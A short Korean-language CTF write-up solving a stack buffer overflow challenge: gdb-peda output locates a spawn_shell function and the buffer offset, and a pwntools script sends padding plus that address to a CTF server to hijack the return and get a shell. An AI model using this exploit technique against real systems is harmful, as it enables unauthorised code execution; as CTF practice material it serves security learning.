ASLR이 없다. spawn_shell 함수를 이용하여 쉘을 따면 된다.
main함수에서 buf 변수로 입력값을 받고 getenv함수를 실행시킨다. 여기서 buf를 몇 바이트를 받는 지를 안정해놨기에 BOF Trigger가 가능하다.
gdb-peda$ p spawn_shell
$1 = {<text variable, no debug info>} 0x400897 <spawn_shell()>
gdb-peda$ pd main
Dump of assembler code for function main:
0x00000000004008cd <+0>: push rbp
0x00000000004008ce <+1>: mov rbp,rsp
...
0x0000000000400927 <+90>: mov rbx,rax
0x000000000040092a <+93>: lea rax,[rbp-0x410]
0x0000000000400931 <+100>: mov rdi,rax
0x0000000000400934 <+103>: call 0x400780 <getenv@plt>
buf는 rbp-0x410에 위치한다. x64 환경이므로 Dummy(0x410) + SFP(8) + spawn_shell 주소 로 페이로드를 짜서 RTL 하면 된다.
from pwn import *
context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', 3013)
shell = 0x400897
payload = 'A' * 0x418
payload += p64(shell)
p.recvuntil('read? ')
p.send(payload)
p.interactive()